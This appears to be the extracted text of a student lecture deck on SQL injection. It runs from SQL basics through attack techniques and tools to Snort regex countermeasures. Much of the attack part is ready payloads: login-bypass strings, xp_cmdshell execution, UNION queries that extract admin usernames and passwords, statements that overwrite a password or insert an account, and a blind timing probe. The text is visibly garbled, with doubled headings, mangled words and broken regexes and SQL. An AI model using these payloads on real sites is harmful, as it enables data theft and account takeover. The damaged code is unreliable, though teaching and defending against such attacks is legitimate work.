sql injection

MODULE 7MODULE 7

SQL InjectionSQL InjectionLecture: Dr. Phạm Văn Tính

Student:

Lê Nhật Tùng– 07130142

Nguyễn Thị Thúy Lữ- 07130073

Hoàng Anh Hòa- 07130040

Trần Hoàn Diệu- 07130142

ObjectiveObjective

2Khoa CNTT – ĐH Nông Lâm TP.HCM 09/2010 2

SQL review

SQL Injection

SQL Injection Techniques

SQL Injection in Orcale

SQL Injection in MySQL

Attacking SQL Servers

Automated Tools for SQL Injection

Countermeasures

SQL review SQL review


SQL often referred to as Structured Query Language, is a database computer language designed for managing data in relational database management systems (RDBMS), and originally based upon relational algebra. Its scope includes data insert, query, update and delete, schema creation and modification, and data access control.

SQL review SQL review


The most common operation in SQL is the query, which is performed with the declarative SELECT statement. SELECT retrieves data from one or more tables, or expressions. Standard SELECT statements have no persistent effects on the database. Some non-standard implementations of SELECT can have persistent effects, such as the SELECT INTO syntax that exists in some databases.

SQL reviewSQL review


Definition: SQL InjectionDefinition: SQL Injection

SQL injection is a type of security exploit in which the attacker "injects” Structured Query Language (SQL) code through a web form input box to gain Structured Query Language (SQL) code through a web form input box, to gain access to resources, or make changes to data

It is a technique of injecting SQL commands to exploit non-validated input vulnerabilities in a web application database backend. to inject

Programmers use sequential commands with user input, making it easier for attackers commands

Attackers can execute arbitrary SQL commands through the web application. 6

Khoa CNTT – ĐH Nông Lâm TP.HCM 09/2010 6

Dynamic String BuildingDynamic String Building

Dynamic string building is a programming technique that enables developers to build SQL statements dynamically at runtime. A dynamic SQL statement is constructed at execution time, for which different conditions generate different SQL statements. It can be useful to developers to construct these statements dynamically when they need to decide at runtime what fields to bring back from, say, SELECT statements, the different criteria for queries. The following PHP code shows how some developers build SQL string statements dynamically from user input: query = "SELECT * FROM table WHERE field = '" + request.getParameter("input") + "'"; An attacker could enter SQL statements as input to the application and have his SQL statements passed to the database and executed.


HTML formHTML form

Try to look for pages that allow a user to submit data, for example: a log in page, search page, feedback, …Look for HTML pages that use POST or GET commandsIf POST is used, you cannot see the parameters in the urlCheck the source code of the HTML to get informationFor example, to check whether it is using POST or GET, look for the <Form> tag in the source code

<Form action=search.asp method=post><input type=hidden name=X value=Z></Form>


GET RequestsGET Requests

GET is an HTTP method that requests to the server whatever information is indicated in the URL. This is the kind of method that is normally used when you click on a link. the Web browser creates the GET request, sends it to the Web server, and renders the result in the browser This kind of request sends parameters within the URLs in the following format:?parameter1=value1&parameter2=value2&parameter3=value3... For GET requests, you can manipulate the parameters by simply changing them in your browser’s navigation toolbar.


POST RequestsPOST Requests

POST is an HTTP method used to send information to the Web server. The action the server performs is determined by the target URL. This is normally the method used when you fill in a form in your browser and click the Submit button.For example, the key-value pairs:Name: Jonathan Doe Age: 23 Formula: a + b == 13%!Are encoded as:name=Jonathan+Doe&Age=23&Formula=a+%2B+b+%3D%3D+13%25%21


Exploiting Web ApplicationsExploiting Web Applications

It exploits web applications using client-supplied sql queriesIt enables an attacker to execute unauthorized SQL commandsIt also takes advantage of unsafe queries in web applications and builds dynamic SQL queriesFor example, when a user logs onto a web page by using a user name and password for validatio, a SQL query is used


Input validation attack occurs here on a websiteInput validation attack occurs here on a website12


SQL Injection Techniques


Authorization bypass – Login form


SELECT * FROM Users WHERE UserName='' Or 1=1 --’ AND Password=''

‘hi OR 1=1 ’

‘hi OR 1=1 ’

SELECT Count(*) FROM Users WHERE UserName='‘hi Or 1=1 ' AND Password=‘hi Or 1=1 '

SELECT Count(*) FROM Users WHERE UserName='' Or 1=1

Authorization bypass (cont)

But when the hacker enters ' Or 1=1 -- the query now becomes: ‘ OR 1=1 - -’

The query becomes simply:


Use a single quote in the input: blah’ or 1=1— Login:blah’ or 1=1— Password:blah’ or 1=1— http://search/index.asp?id=blah’ or 1=1—Depending on the query, try the following possibilities: ‘ or 1=1-- “ or 1=1-- ‘ or ‘a’=‘a “ or “a”=“a ‘) or (‘a’=‘a) )( )

Authorization bypass (cont) -Test for SQL Injection Vulnerability


Using the SELECT command


Using SQL server stored proceduresUsing SQL server stored procedures

master..xp_cmdshell is a remote execution which allows administrators to execute operating system commands and get the output in the rows of the returned result set.

http://xsecurity.com/index.asp?id=10; exec master..xp_cmdshell 'ping www.google.com';--


Using SQL server stored Using SQL server stored procedures(cont)procedures(cont)


Database Server ErrorDatabase Server Error

Web server shows an error from the database if you modify a parameter. Although the errors are displayed in the Web server response, the SQL injection happens at the database layer. Those examples show how you can reach a database server via the Web application.


http://www.victim.com/showproducts.php?category=attacker'

Extracting Data through UNION StatementsMatching ColumnsTo work properly, the UNION operator needs the following requirements to be satisfied:The two queries must return exactly the same number of columns.The data in the corresponding columns of the two SELECT statements must be of the same (or at least compatible) types.Table contains a list of the error messages that some of the major DBMSs return when a UNION query has the wrong number of columns.


To use the ORDER BY clause An ORDER BY clause in SQL specifies that a SQL SELECT statement returns a result set with the rows being sorted by the values of one or more columns. ORDER BY is the only way to sort the rows in the result set Structure ORDER BY ...ASC/DESC will order in descending order, otherwise ascending order is used. If the correct number of columns is n, ORDER BY not returns an error. if this number is greater than n ORDER BY returns an error You can therefore identify the number of columns in the query by incrementing the ORDER BY column number as follows:

http://xsecurity.com/index.asp?id=10 order by 1

http://xsecurity.com/index.asp?id=10 order by 2

http://xsecurity.com/index.asp?id=10 order by 3 etc.


http://en.wikipedia.org/wiki/SQL

http://en.wikipedia.org/wiki/Select_(SQL)

http://en.wikipedia.org/wiki/Result_set

http://xsecurity.com/index.asp?id=10

Information_schema


Getting Output of SQL Query

Getting Data from the Database Using ODBC Error Message Using UNION keyword to get tableshttp://xsecurity.com/index.asp?id=-10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES —- To retrieve information from the above query use:SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES —-------------------------------------------- Using LIKE keyword to get tableshttp://xsecurity.com/index.asp?id=-10 UNION SELECT TOP 1 TABLE FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ‘%25LOGIN%25’--



To map out all the column names of a table, type:http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’—-

To get to the next column name, use NOT IN( )http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE NAME=‘admin login’ WHERE COLUMN NAME NOT IN(‘login_id’)—-

To get the login_name from the “admin login” table admin_login tablehttp://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login—Result: yuri



To get the password for login name=“yuri” login_name= yuri -- http://xsecurity.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=‘yuri’—

After gathering all of column names of a table, it is possible to UPDATE or INSERT records into itExample to change the password for “yuri”:http://xsecurity.com/index.asp?id=10; UPDATE admin_login SET password = ‘newboy5’ WHERE login_name=‘yuri’—

To INSERT a record:http://xsecurity.com/index.asp?id=10; INSERT INTO admin_login (‘login_id’,’login_name’,’password’,’ details’)VALUES(111,’yuri2’,’newboy5’,’NA’)--


SQL Injection in Oracle

SQL Injection in Oracle can be perfomed as follows:

UNIONS can be added to the existing statement to execute a second statement.

SUBSELECTS can be added to existing statements

Data Definition Language (DDL) can be injected if DDL is used in a dynamic SQL string

INSERTS, UPDATES, and DELETES can also be injected

Anonymous PL/SQL block in procedures28


SQL Injection in MySql Database

It is not easy to perform SQL injection in a MySql databaseWhile coding with a MySql application, the injection vulnerability is not exploitedIt is difficult to trace the output

You can see an error because the value retrieved is passed on to multiple queries with different numbers of columns before the script endsIn such situations, SELECT and UNION commands cannot be used


SQL Injection in MySql Database(cont’d)

• http://www.xsecurity.com/pizza/index.php?a=post&s=reply&t=1'• To show the tables, type the query:• mysql> SHOW TABLES;• To see the current user: To see the current user:• mysql> SELECT USER();• The following query shows the first byte of Admin's Hash:• mysql> SELECT SUBSTRING(user_password,1,1)FROM mb users WHERE user group = 1; • The following query shows the first byte of Admin's Hash as an ASCII number:• mysql> SELECT ASCII('5');


SQL Injection in MySql Database(cont’d)

Preparing the GET Request• To inject SQL commands successfully, the request from any single quotes should be cleaned cleaned:• mysql> Select active_id FROM mb_active UNION SELECT IF(SUBSTRING(user_password,1, 1) = CHAR(53),BENCHMARK(1000000, MD5(CHAR(1))), null) FROM mb_users WHERE user_group = 1;Exploiting the Vulnerability• First, log in as a registered user with the rights to reply to the current thread:http://127.0.0.1/pizza/index.php?a=post&s=reply&t=1 UNION SELECT IF (SUBSTRING(user_password,1,1) = CHAR(53), BENCHMARK(1000000, MD5(CHAR(1))), null), null, null, null, null FROM mb users WHERE user group =1--


Blind SQL Injection Blind SQL Injection

Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application rather then getting a useful error message they get a generic page specified by the developer instead.

This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through sql statements.

It is facilitated by a common coding blunder: program accepts data from a client and executes SQL queries without validating client’s input

Attacker is then free to extract, modify, add, or delete content from the database

Hackers typically test for SQL injection vulnerabilities by sending application input that would cause server to sending application input that would cause server to generate an invalid SQL query


Blind SQL Injection Blind SQL Injection To secure an application against SQL injection, developers must never allow client supplied data to modify the syntax of SQL statements

The best protection is to isolate the web application from SQL altogether

All SQL statements required by application should be in stored procedures and kept on database server

Application should execute stored procedures using a safe interface such as JDBC’s CallableStatement or ADO’s Command Object

If arbitrary statements must be used, use PreparedStatements

Both PreparedStatements and stored procedures compile SQL statement before user input is added, making it impossible for user input to modify actual SQL statement


Blind SQL Injection: ScreenshotBlind SQL Injection: Screenshot


Blind SQL Injection SchemaBlind SQL Injection Schema


SQL Injection Automated ToolsSQL Injection Automated Tools


SQL Injection in MySql Database

•SQLdict is a dictionary attack tool for SQL Server•It tests if the accounts are strong enough to resist an attack•Source: http://ntsecurity.nu/cgi-bin/download/sqldict.exe.pl


Hacking Tool: SQLExecHacking Tool: SQLExecThis tool executes commands on compromised Microsoft SQL Servers by using xp_cmdshellstored procedure pIt uses a default sa account with a NULL passwordUSAGE: SQLExec www.target.com Source: http://phoenix.liu.edu/


SqlmapSqlmap

Sqlmap is an automatic SQL injection tool developed in PythonIt performs an extensive database management system back-end fingerprintFeatures:•Retrieves remote DBMS databases Retrieves remote DBMS databases• Retrieves usernames, tables, and columns• Enumerates the entire DBMS• Reads system filesIt supports two SQL injection techniques: • Blind SQL Injection• Inband SQL injection, also known as UNION query SQL Injection• Source: http://phoenix.liu.edu/


SqlninjarSqlninjar


SQLIerSQLIer


Automagic SQL InjectorAutomagic SQL Injector

Automagic SQL Injector is an automated SQL injection tool designed to save time in penetration testing

It is only designed to work with vanilla Microsoft SQL injection holes where errors are returned

Features:

Browse tables and dump table data to a CSV file

Upload files using debug script method

Automagical UDP reverse shell

Interactive xp_cmdshell (simulated cmd.exe shell)


AbsintheAbsinthe

Absinthe is a GUI-based tool that automates the process of downloading Blid SQL the schema and contents of a database that is vulnerable to Blind SQL InjectionAt td SQL Automated SQL Injection Supports MS SQL Server, MSDE, Oracle, and Postgres Cookies / Additional HTTP Headers Query Termination Qy Additional text appended to queries Supports Use of Proxies / Proxy Rotation Multiple filters for page profiling Custom Delimiters Custom Delimiters


Absinthe: ScreenshotAbsinthe: Screenshot


SQL Injection CountermeasuresSQL Injection Countermeasures

Selection of Regular ExpressionsRegular expressions for detection of SQL meta characters are:• / ( \ %27 ) | ( \ ‘ ) | ( \ - \ - ) | ( \ %23 ) | ( # ) / ix

In the above example, the regular expression would be added to thesnort rule as follows:• alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS(msg:"SQL Injection - Paranoid";

flow:to_server,established;uricontent:".pl";pcre:"/ ( \ %27 ) | ( \ ‘ ) |( \ - \ - ) | ( %23 ) | ( # ) / i "; classtype:Web-application-attack;

Since “#” is not an HTML meta character, it will not be encode by the browser


SQL Injection CountermeasuresSQL Injection Countermeasures

The modified regular expressions for detection of SQL meta characters are:• / ( ( \ % 3 D ) | ( = ) )[ ^ \ n ] * ( ( \ %27 ) | ( \ ‘ ) | ( \ - \ - ) | ( \ % 3 B ) | ( ; ) ) /iThe regular expressions for a typical SQL injection attack are:• /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix• \w* -zero or more alphanumeric or underscore characters• (\%27)|\' -the ubiquitous single-quote or its hex equivalent• (\%6F)|o|(\%4F))((\%72)|r|(\%52) -the word “or” with various combinations of (\%6F)|o|(\%4F))((\%72)|r|(\%52) the word or with various combinations of its upper and lower case hex equivalents


SQL Injection CountermeasuresSQL Injection Countermeasures• /((\%27)|(\'))union/ix• (\%27)|(\') - the single quote and its hex equivalent • (\%27)|(\ ) the single quote and its hex equivalent• union - the keyword union• The above expression can be used for SELECT, INSERT, UPDATE, DELETE,and DROP keywordsThe regular expressions for detecting SQL injection attacks on a MS SQL server:/ ( \ |\ ) ( | ) \ /i • / exec( \s|\+)+(s|x)p\w+/ix• exec -the keyword required to run the stored or extended procedure• (\s|\+)+ -one or more white spaces, or their HTTP encoded equivalents• (s|x)p -the letters “sp” or “xp” to identify stored or extended procedures, il respectively• \w+ -one or more alphanumeric or underscore characters to complete the name of the procedure 50


Preventing SQL Injection AttacksPreventing SQL Injection Attacks


Preventing SQL Injection Attacks(Con’t)Preventing SQL Injection Attacks(Con’t)


GoodLoginGoodLogin


SQL Injection Blocking Tool: SQLBlockSQL Injection Blocking Tool: SQLBlock


SQLBlock: ScreenshotSQLBlock: Screenshot


SQL Injection Blocking Tool: SQLBlockSQL Injection Blocking Tool: SQLBlock


SummarySummary

SQL injection is an attack methodology that targets the data residing in a database.

It attempts to modify the paramaters of a web-based application in order to alter the SQL statements that are parsed, in order to retrieve data from the database.

Database footprinting is the process of mapping the tables on the database, and it a crucial tool in the hands of an attacker.

Exploits occur due to coding errors as well as inadequate validation checks.

Prevention involves enforcing better coding practices and database administration procedures.


sql injection

Documents

sql query

sql injectionlecture

sql reviewthe

sql review khoa cntt

sql string statements

different sql statements

orcale sql injection

sql injectionsql injection